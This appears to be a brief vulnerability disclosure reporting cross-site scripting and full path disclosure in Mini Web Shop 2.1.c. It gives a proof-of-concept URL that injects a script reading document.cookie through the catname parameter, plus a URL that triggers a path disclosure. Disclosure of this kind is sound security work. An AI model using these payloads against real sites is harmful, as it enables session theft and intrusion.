Hello 
Vulnerable : MINI WEB SHOP
Version: 2.1.c
web : http://ObieWebsite.SourceForge.net

I Found some bugs ( XSS & Full Path  Disclosure ) in MINI WEB SHOP

XSS :
http://example.com/miniwebshop/modules/viewcategory.php?catname='><script>alert(document.cookie)</script>

Full Path  Disclosure :
http://example.com/miniwebshop/modules/viewcategory.php?catname=[anything]

Discovery by Linux_Drox ( Qptan )
Linux_Drox@Saudi.Net.Sa
www.LeZr.Com/vb

Best Regards ,,,